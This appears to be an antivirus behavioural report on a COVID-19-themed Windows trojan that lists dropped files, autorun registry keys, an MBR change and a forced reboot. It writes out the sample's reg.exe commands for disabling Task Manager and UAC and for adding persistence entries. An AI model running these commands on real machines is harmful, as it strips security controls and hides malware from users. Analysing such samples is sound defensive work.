Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'CheckForUpdates' = 'C:\COVID-19\Update.vbs'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'explorer.exe' = 'C:\COVID-19\run.exe'
- [<HKLM>\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'GoodbyePC!' = 'C:\COVID-19\end.exe'
Modifies master boot record (MBR).
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %TEMP%\9acf.tmp\coronavirus.bat
- <Current directory>\cursor.cur
- <Current directory>\run.exe
- <Current directory>\update.vbs
- <Current directory>\wallpaper.jpg
- <Current directory>\end.exe
- <Current directory>\mainwindow.exe
- nul
- %TEMP%\b361.tmp\run.bat
Moves the following files
- from <Current directory>\update.vbs to C:\covid-19\update.vbs
- from <Current directory>\wallpaper.jpg to C:\covid-19\wallpaper.jpg
- from <Current directory>\cursor.cur to C:\covid-19\cursor.cur
- from <Current directory>\end.exe to C:\covid-19\end.exe
- from <Current directory>\mainwindow.exe to C:\covid-19\mainwindow.exe
- from <Current directory>\run.exe to C:\covid-19\run.exe
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "C:\COVID-19\Update.vbs"
- 'C:\covid-19\run.exe'
- 'C:\covid-19\end.exe'
- 'C:\covid-19\mainwindow.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B361.tmp\run.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\9ACF.tmp\coronavirus.bat""
- '%WINDIR%\syswow64\attrib.exe' +H C:\COVID-19
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /t REG_SZ /d C:\COVID-19\wallpaper.jpg /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Control Panel\Cursors /v Arrow /t REG_SZ /d C:\COVID-19\cursor.cur /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Control Panel\Cursors /v AppStarting /t REG_SZ /d C:\COVID-19\cursor.cur /f
- '%WINDIR%\syswow64\reg.exe' ADD HKCU\Control Panel\Cursors /v Hand /t REG_SZ /d C:\COVID-19\cursor.cur /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /t REG_SZ /d C:\COVID-19\Update.vbs /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /t REG_SZ /d C:\COVID-19\run.exe /f
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /t REG_SZ /d C:\COVID-19\end.exe /f
- '%WINDIR%\syswow64\shutdown.exe' -r -t 5
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B361.tmp\run.bat" "
Attempts to shut down the Windows operating system.
